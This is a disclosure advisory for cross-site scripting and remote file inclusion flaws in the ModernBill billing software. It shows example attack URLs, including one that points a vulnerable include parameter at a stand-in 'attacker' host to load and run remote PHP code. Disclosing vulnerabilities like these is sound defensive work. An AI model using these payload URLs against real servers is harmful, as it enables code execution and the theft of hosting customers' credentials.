# Version : ModernBill 4.3.0 && Earlier
# Risk : Multiple Vulnerabilities

Description:
ModernBill is a widely used billing and management software used by webhosts to manage billing and financial data. ModernBill is prone to remote file inclusion and cross site scripting in version prior to 4.3.1. These vulnerabilities could allow for an attacker to execute client side code in the context of the victims web browser, steal sensitive user data, and run system commands remotely on the affected web server. A fixed version is available and users are advised to upgrade immediately.
Cross Site Scripting:
The ModernBill order forms are prone to multiple cross site scripting issues. Below are a few examples of this particular issue.
http://example.com/order/orderwiz.php?v=1&aid=&c_code=[XSS]
http://example.com/order/orderwiz.php?v=1&aid=[XSS]
This vulnerability could be used to steal cookie based authentication credentials within the scope of the current domain, or render hostile code in a victim's browser.
Remote File Include Vulnerability:
ModernBill ships with a directory titled "samples" that resides in the root ModernBill directory. This directory contains several files to help users learn how to customize ModernBill to specifically fit their needs. One of the scripts included in this directory is vulnerable to a very dangerous remote file include vulnerability. Lets have a look at the file "news.php"
// ~~~~~~~~~~~~~~~~~
// DO NOT EDIT START
// ~~~~~~~~~~~~~~~~~
include_once($DIR."include/functions.inc.php");
If globals are set to on, and no include restrictions are in effect then
we can include any php code of our choice remotely. Of course the
hosting the malicious file to be included could not have php enabled, or
the file would be parsed before it reached the victim server.
http://example.com/samples/news.php?DIR=http://attacker/
This issue is very dangerous when present, but regardless of your server
configuration you are still encouraged to upgrade immediately.
Solution:
A fix for the mentioned issues has been available for quite some time now
and users should upgrade their ModernBill installations.
